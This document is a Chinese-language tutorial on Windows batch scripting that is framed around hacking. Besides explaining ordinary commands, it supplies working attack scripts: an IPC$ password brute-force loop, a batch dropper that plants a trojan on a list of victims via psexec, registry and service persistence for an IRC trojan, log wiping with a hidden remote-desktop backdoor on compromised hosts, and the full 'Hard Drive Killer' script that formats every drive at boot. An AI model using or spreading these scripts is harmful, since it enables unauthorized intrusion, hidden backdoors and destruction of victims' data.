Batsh Script

Batsh Script

一.簡單批處理內部命令簡介  

1.Echo 命令

打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。

語法 echo [{on|off}] [message]

Sample：@echo off / echo hello world

在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）

2.@ 命令

表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬盤）自然不能讓對方看到你使用的命令啦。

Sample：@echo off

@echo Now initializing the program,please wait a minite...

@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)

3.Goto 命令

指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。

語法：goto label （label是參數，指定所要轉向的批處理程序中的行。）

Sample：

if {%1}=={} goto noparms

if {%2}=={} goto noparms（如果這裡的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）

@Rem check parameters if null show usage

:noparms

echo Usage: monitor.bat ServerIP PortNumber

goto end

標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令

注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便于別人閱讀和你自己日後修改。

Rem Message

Sample：@Rem Here is the description.

5.Pause 命令  

運行 Pause 命令時，將顯示下面的消息： Press any key to continue . . .

Sample：

@echo off

:begin

copy a:*.* d：\back

echo Please put a new disk into driver A

pause

goto begin

在這個例子中，驅動器 A 中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁盤，然後按任意鍵繼續處理。

6.Call 命令  

從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。  

語法  

call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

參數  

[Drive:}[Path] FileName

指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令  

調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。

入侵常用參數：  

MIN 開始時窗口最小化  

SEPARATE 在分開的空間內開始 16 位 Windows 程序  

HIGH 在 HIGH 優先級類別開始應用程序  

REALTIME 在 REALTIME 優先級類別開始應用程序  

WAIT 啟動應用程序並等候它結束  

parameters 這些為傳送到命令/程序的參數  

執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。  

如果在命令腳本內執行，該新行為則不會發生。

8.choice 命令  

choice 使用此命令可以讓用戶輸入一個字符，從而運行不同的命令。使用時應該加/c:參數  

，c:後應寫提示可輸入的字符，之間無空格。它的返回碼為1234……  

如: choice /c:dme defrag,mem,end  

將顯示  

defrag,mem,end[D,M,E]?  

Sample：  

Sample.bat的內容如下:  

@echo off  

choice /c:dme defrag,mem,end  

if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）  

if errorlevel 2 goto mem  

if errotlevel 1 goto end  

:defrag  

c:\dos\defrag  

goto end  

:mem  

mem  

goto end  

:end  

echo good bye

此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。

9.If 命令  

if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:

1、if \參數\ == \字符串\ 　待執行的命令

參數如果等于指定的字符串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）  

如if \%1\==\a\ format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2、if exist 文件名待執行的命令如果有指定的文件，則條件成立，運行命令，否則運行下一句。

如if exist config.sys edit config.sys   

3、if errorlevel / if not errorlevel 數字待執行的命令如果返回碼等于指定的數字，則條件成立，運行命令，否則運行下一句。

如if errorlevel 2 goto x2 　

DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。  

10.for 命令  

for 命令是一個比較復雜的命令，主要用于參數在指定的范圍內循環執行命令。  

在批處理文件中使用 FOR 命令時，指定變量請使用 %%variable  

for {%variable|%%variable} in (set) do command [ CommandLineOptions]  

%variable 指定一個單一字母可替換的參數。  

(set) 指定一個或一組文件。可以使用通配符。  

command 指定對每個文件執行的命令。  

command-parameters 為特定命令指定參數或命令行開關。  

在批處理文件中使用 FOR 命令時，指定變量請使用 %%variable而不要用 %variable。變量名稱是區分大小寫的，所以 %i 不同于 %I如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到

支持:  

FOR /D %variable IN (set) DO command [command-parameters]  

如果集中包含通配符，則指定與目錄名匹配，而不與文件名匹配。  

FOR /R [[drive:]path] %variable IN (set) DO command [command- 檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的 FOR 語句。如果在 /R 後沒有指定目錄，則使用當前目錄。如果集僅為一個單點(.)字符，則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para  

該集表示以增量形式從開始到結束的一個數字序列。因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生序列 (5 4 3 2 1)。

FOR /F [\options\] %variable IN (file-set) DO command  

FOR /F [\options\] %variable IN (\string\) DO command  

FOR /F [\options\] %variable IN (command) DO command  

或者，如果有 usebackq 選項:  

FOR /F [\options\] %variable IN (file-set) DO command  

FOR /F [\options\] %variable IN (\string\) DO command  

FOR /F [\options\] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的  

下一個文件之前，每份文件都已被打開、讀取並經過處理。  

處理包括讀取文件，將其分成一行行的文字，然後將每行解析成零或更多的符號。然後用已找到的符號字符串變量值調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 \options\  參數替代默認解析操作。這個帶引號的字符串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:  

eol=c - 指一個行注釋字符的結尾(就一個)  

skip=n - 指在文件開始時忽略的行數。  

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。

tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的格式為一個范圍。

通過 nth 符號指定 m 符號字符串中的最後一個字符星號， 那麼額外的變量將在最後一個符號解析之分配並接受行的保留文本。  

usebackq - 指定新語法已在下類情況中使用: 在作為命令執行一個後引號的字符串並且 引號字符為文字字符串命令並允許在 fi中使用雙引號擴起文件名稱。

sample1:

FOR /F \eol=; tokens=2,3* delims=, \ %i in (myfile.txt) do command 會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或空格定界符號。請注意，這個 for 程序體的語句引用 %i 來取得第二個符號，引用 %j 來取得第三個符號，引用 %k 來取得第三個符號後的所有剩余符號。對于帶有空格的文件名，您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號，您還需要使用 usebackq 選項，否則，雙引號會被理解成是用作定義某個要分析的字符串的。  

%i 專門在 for 語句中得到說明，%j 和 %k 是通tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號，只要不試圖說明一個高于字母 z 或Z 的變量。請記住，FOR 變量是單一字母、分大小寫和全局的；同時不能有 52 個以上都在使用中。您還可以在相鄰字符串上使用 FOR /F 分析邏輯；方法是， 用單引號將括號之間的 filenameset 括起來。這樣，該字符串會被當作一個文件中的一個單一輸入行。最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進內存，並被當作文件分析。因此，以下例子:  

FOR /F \usebackq delims==\ %i IN (`set`) DO @echo %i  

會枚舉當前環境中的環境變量名稱。  

另外，FOR 變量參照的替換已被增強。您現在可以使用下列

選項語法:

~I - 刪除任何引號(\)，擴充 %I  

%~fI - 將 %I 擴充到一個完全合格的路徑名  

%~dI - 僅將 %I 擴充到一個驅動器號  

%~pI - 僅將 %I 擴充到一個路徑  

%~nI - 僅將 %I 擴充到一個文件名  

%~xI - 僅將 %I 擴充到一個文件擴展名  

%~sI - 擴充的路徑只含有短名  

%~aI - 將 %I 擴充到文件的文件屬性  

%~tI - 將 %I 擴充到文件的日期/時間  

%~zI - 將 %I 擴充到文件的大小  

%~$PATH:I - 查找列在路徑環境變量的目錄，並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變量未被定義，或者沒有找到文件，此組合鍵會擴充  

空字符串可以組合修飾符來得到多重結果:  

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑  

%~nxI - 僅將 %I 擴充到一個文件名和擴展名  

%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名  

%~dp$PATH:i - 查找列在路徑環境變量的目錄，並將 %I 擴充到找到的第一個驅動器號和路徑。  

%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR  

在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變量名終止。選取類似 %I 的大寫變量名比較易讀，而且避免與不分大小寫的組合鍵混淆。

sample2：  

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。  

我們用net use \\ip\ipc$ \password\ /u:\administrator\來嘗試這和目標主機進行連接，當成功時記下密碼。  

最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ \i%\ /u:\admini strator\用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－  

for /f i%% in (dict.txt) do net use \\ip\ipc$ \i%%\ /u:\administrator\|find \:命令成功完成\>>D:\ok.txt ，這樣就ko了。  

sample3：  

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很鬱悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。

主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變量使用 %%variable）

@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens的用法請參見上面的sample1，在這裡它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。而cultivate.bat無非就是用net use命令來建立IPC$連接，並copy木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這裡你也一定明白這victim

..txt裡的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip passw ord username。  

代碼雛形：  

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

@echo off

@if \%1\==\\ goto usage  

@for /f \tokens=1,2,3 delims= \ %%i in (victim.txt) do start call IPChack.bat %% i %%j %%k

@goto end  

:usage  

@echo run this batch in dos modle.or just double-click it.  

:end  

--------------- cut here then save as a batchfile(I call it main.bat ) ---------

@net use \\%1\ipc$ %3 /u:\%2\  

@if errorlevel 1 goto failed  

@echo Trying to establish the IPC$ connection …………OK  

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt  

@psexec \\%1 c:\winnt\system32\windrv32.exe  

@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt  

:failed  

@echo Sorry can not connected to the victim.  

這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

11. forfiles

查找滿足指定條件的檔，下面是這個命令的用法。

forfiles /p <目標目錄名> /d <天數> /c <執行的命令>

看看列出的三個參數都有什麼用處：

/p 指定了要在哪個目錄裏查找檔，默認是當前工作目錄，注意不能在目錄名後面加斜杠。

/d 指定一個日期或天數，用於比較檔的最後修改日期是否符合條件。

/c 對每個找到的檔執行的命令。

例1.要把在E槽根目錄下最後修改日期大於或等於2009年7月1日的檔複製到F盤根目錄下：

forfiles /p "e:" /d "2009-7-1" /c "cmd /c copy @path f:\"

例2.刪除在E槽backup目錄下最後修改日期在10天前的檔：

forfiles /p "e:\backup" /d -10 /c "cmd /c echo deleting @file ... && del /f @path"

看了上面的例子，覺得在 Windows Server 2003 下面要刪除老檔很簡單吧。

但如果作業系統是 Windows 2000/XP 就比較麻煩，因為它們沒有forfiles命令，只能靠自己寫批次處理來實現了。

二.如何使用組合命令(Compound Command)

1.& Usage：第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令，而不管命令是否執行成功

Sample：C:\>dir z: & dir c:\Ex4rch

2.&& Usage：第一條命令 && 第二條命令 [&& 第三條命令...]

用這種方法可以同時執行多條命令，當碰到執行出錯的命令後將不執行後面的命令，如果一直沒有出錯則一直執行完所有命令；

在做備份的時候可能會用到這種命令會比較簡單，如：

dir file＆#58//192.168.0.1/database/backup.mdb && copy file＆#58//192.168.0.1/database/backup.mdb E:\backup  

如果遠程服務器上存在backup.mdb文件，就執行copy命令，若不存在該文件則不執行copy命令。這種用法可以替換IF exist了

3.|| Usage：第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令，當碰到執行正確的命令後將不執行後面的命令，如果沒有出現正確的命令則一直執行完所有命令；

組合命令使用的例子：

sample：

@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt  

4.| 命令 Usage：第一條命令 | 第二條命令 [| 第三條命令...]  

將第一條命令的結果作為第二條命令的參數來使用，記得在unix中這種方式很常見。  

Sample：C:\Ex4rch>dir sometips.gif || del sometips.gif

5.>、>>輸出重定向命令

將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于，>會清除調原有文件中的內容後寫入指定文件，而>>只會追加內容到指定文件中，而不會改動其中的內容  

sample：time /t>>D:\IP.log

sample1：echo hello world>c:\hello.txt (stupid example?)

6.< 、>& 、<&  

< 從文件中而不是從鍵盤中讀入命令輸入。>& 將一個句柄的輸出寫入到另一個句柄的輸入中。<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。這些並不常用，也就不多做介紹。   

三. 注冊表

如何用批處理文件來操作注冊表，在入侵過程中經常回操作注冊表的特定的鍵值來實現一定的目的，例如:為了達到隱藏後門、木馬程序而刪除Run下殘余的鍵值。或者創建一個服務用以加載後門。當然我們也會修改注冊表來加固系統或者改變系統的某個屬性，這些都需要我們對注冊表操作有一定的了解。

下面我們就先學習一下如何使用.REG文件來操作注冊表.(我們可以用批處理來生成一個REG文件) 關于注冊表的操作，常見的是創建、修改、刪除。

1.創建  

創建分為兩種，一種是創建子項(Subkey) 我們創建一個文件，內容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然後執行該腳本，你就已經在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創建了一個名字為“hacker”的子項。另一種是創建一個項目名稱那這種文件格式就是典型的文件格式，和你從注冊表中導出的文件格式一致，內容如下：  

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\Door\=C:\\WINNT\\system32\\door.exe

\Autodos\=dword:02

這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

新建了:Invader、door、about這三個項目

Invader的類型是“String ＆#118alue”

door的類型是“REG SZ ＆#118alue”

Autodos的類型是“DWORD ＆#118alue”

2.修改

修改相對來說比較簡單，只要把你需要修改的項目導出，然後用記事本進行修改，然後導入（regedit /s）即可。

3.刪除

我們首先來說說刪除一個項目名稱，我們創建一個如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Ex4rch\=-

執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下

的\Ex4rch\就被刪除了；

我們再看看刪除一個子項，我們創建一個如下的腳本：  

Windows Registry Editor Version 5.00   

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

執行該腳本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就

已經被刪除了。

相信看到這裡，.reg文件你基本已經掌握了。那麼現在的目標就是用批處理來創建特定內容的.reg文件了，記得我們前面說道的利用重定向符號可以很容易地創建特定類型的文件。

samlpe1:如上面的那個例子,如想生成如下注冊表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

\Invader\=\Ex4rch\

\door\=hex:255

\Autodos\=dword:000000128

只需要這樣：

@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.

reg

@echo \Invader\=\Ex4rch\>>Sample.reg

@echo \door\=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg

@echo \Autodos\=dword:02>>Sample.reg

samlpe2:

我們現在在使用一些比較老的木馬時,可能會在注冊表的[HKEY_LOCAL_MACHINE\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一個鍵值用來實現木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導致木馬被查殺,相對地若是將木馬程序注冊為系統服務則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為win drv32.exe)

@start windrv32.exe

@attrib +h +r windrv32.exe

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch

..dll

@echo \windsnx \=- >>patch.dll

@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver

binpath= c:\winnt\system32\windrv32.exe

@regedit /s patch.dll  

@delete patch.dll  

@REM [刪除DSNXDE在注冊表中的啟動項，用sc.exe將之注冊為系統關鍵性服務的同時將其屬性設為隱藏和只讀，並config為自啟動]

@REM 這樣不是更安全^_^.

四.附錄範例

1.刪除win2k/xp系統默認共享的批處理

------------------------ cut here then save as .bat or .cmd file ---------------

@echo preparing to delete all the default shares.when ready pres any key.  

@pause  

@echo off

:Rem check parameters if null show usage.

if {%1}=={} goto :Usage

:Rem code start.

echo.

echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:\delshare.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg  

echo \AutoShareWks\=dword:00000000>> c:\delshare.reg  

echo \AutoShareServer\=dword:00000000>> c:\delshare.reg  

echo Nowing using the registry file to chang the system default properties.  

regedit /s c:\delshare.reg  

echo Deleting the temprotarily files.  

del c:\delshare.reg  

goto :END

:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆  

echo ☆ [Use batch file to change the sysytem share properties.] ☆  

echo.

echo Author：Ex4rch  

echo Mail:Ex4rch@hotmail.com QQ:1672602  

echo.  

echo Error：Not enough parameters  

echo.  

echo ☆ Please enter the share disk you wanna delete ☆  

echo.  

echo For instance，to delete the default shares:  

echo delshare c d e ipc admin print  

echo.  

echo If the disklable is not as C: D: E: ，Please chang it youself.  

echo.  

echo example：  

echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：  

echo delshare c d e x y z ipc admin print  

echo.  

echo *** you can delete nine shares once in a useing ***  

echo.

echo ------------------------------------------------------  

goto :EOF

:END  

echo.  

echo ------------------------------------------------------  

echo.  

echo OK,delshare.bat has deleted all the share you assigned.  

echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.  

echo  

echo.  

echo ------------------------------------------------------  

echo.  

:EOF  

echo end of the batch file  

------------------------ cut here then save as .bat or .cmd file ---------------

2.全面加固系統（給肉雞打補丁）的批處理文件  

------------------------ cut here then save as .bat or .cmd file ---------------

@echo Windows Registry Editor Version 5.00 >patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll

@echo \AutoShareServer\=dword:00000000 >>patch.dll

@echo \AutoShareWks\=dword:00000000 >>patch.dll

@REM [禁止共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll

@echo \restrictanonymous\=dword:00000001 >>patch.dll

@REM [禁止匿名登錄]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>

patch.dll

@echo \SMBDeviceEnabled\=dword:00000000 >>patch.dll

@REM [禁止及文件訪問和打印共享]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll

@echo \Start\=dword:00000004 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]  >>patch.dll

@echo \ShutdownWithoutLogon\=\0\ >>patch.dll

@REM [禁止登錄前關機]

@echo \DontDisplayLastUserName\=\1\ >>patch.dll

@REM [禁止顯示前一個登錄用戶名稱]

@regedit /s patch.dll

------------------------ cut here then save as .bat or .cmd file ---------------

下面命令是清除肉雞所有日志，禁止一些危險的服務，並修改肉雞的terminnal service留跳後路。

@regedit /s patch.dll

@net stop w3svc

@net stop event log

@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q

@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q

@del c:\winnt\system32\config\*.event /f /q

@del c:\winnt\system32dtclog\*.* /f /q

@del c:\winnt\*.txt /f /q

@del c:\winnt\*.log /f /q

@net start w3svc

@net start event log

@rem [刪除日志]

@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del patch.dll

@echo The server has been patched,Have fun.

@del patch.bat

@REM [禁止一些危險的服務。]

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll

@echo \PortNumber\=dword:00002010 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\r

dpwd\Tds\tcp >>patch.dll

@echo \PortNumber\=dword:00002012 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll

@echo \Start\=dword:00000002 >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch ..dll

@echo \Start\=dword:00000002 >>patch.dll

@echo \ErrorControl\=dword:00000001 >>patch.dll

@echo \ImagePath\=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6 f,00,\ >>patch.dll

@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65 ,\ >>patch.dll

@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00  >>patch.dll

@echo \ObjectName\=\LocalSystem\ >>patch.dll

@echo \Type\=dword:00000010 >>patch.dll

@echo \Description\=\Keep record of the program and windows message。\ >>patch.dll

@echo \DisplayName\=\Microsoft EventLog\ >>patch.dll

@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch ..dll

@echo \Start\=dword:00000004 >>patch.dll

@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe

@REM [修改3389連接，端口為8210(十六進制為00002012)，名稱為Microsoft EventLog，留條後路]

3.Hard Drive Killer Pro Version 4.0（玩批處理到這個水平真的不容易了。）

------------------------ cut here then save as .bat or .cmd file ---------------

@echo off

rem This program is dedecated to a very special person that does not want to benamed.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat

call attrib +r +h c:\autoexec.bat >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.

rem drivechk.bat is the file name under the root directory.

rem As far as the drive detection and drive variable settings, dont worry about

how it

rem works, its d\*amn to complicated for the average or even the expert batch programmer.

rem Except for Tom Lavedas.

echo @echo off >drivechk.bat

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find \Vol\ > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then its true.

rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find \bytes\ > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.batdel {t}.bat

echo if errorlevel 1 goto enddc >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:.\/ad/w/-p $b find \ 0 bytes free\ > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if its errorlevel 1, then the specified drive is a hard or floppy drive.

rem if its not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>drivechk.bat

rem Drive checking insertion ends here. \enddc\ stands for \end dDRIVE cHECKING\..

rem Now we will use the program drivechk.bat to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call drivechk.bat %%a >nul

del drivechk.bat >nul

if %drive.==. set drive=c

:form_del

call attrib -r -h c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your sys

tem . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat

echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat

echo cd\ >>c:\autoexec.bat

echo cls >>c:\autoexec.bat

echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat

echo echo If you ran this file, then sorry, I just made it. The purpose of this

program is to tell you the following. . . >>c:\autoexec.bat

echo echo 1. To make people aware that security should not be taken for granted.  >>c:\autoexec.bat

echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat

echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Part y.>>c:\autoexec.bat

echo echo. >>c:\autoexec.bat  

echo echo Regards, >>c:\autoexec.bat  

echo echo. >>c:\autoexec.bat  

echo echo Munga Bunga >>c:\autoexec.bat  

call attrib +r +h c:\autoexec.bat  

:makedir

if exist c:\temp.bat attrib -r -h c:\temp.bat >nul

echo @echo off >c:\temp.bat

echo %%1:\ >>c:\temp.bat

echo cd\ >>c:\temp.bat

echo :startmd >>c:\temp.bat

echo for %%%%a in (\if not exist %%2\nul md %%2\ \if exist %%2\nul cd %%2\) do % %%%a >>c:\temp.bat

echo for %%%%a in (\>ass_hole.txt\) do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat

echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat

call attrib +r +h c:\temp.bat >nul

cls

echo Initializing Variables . . .
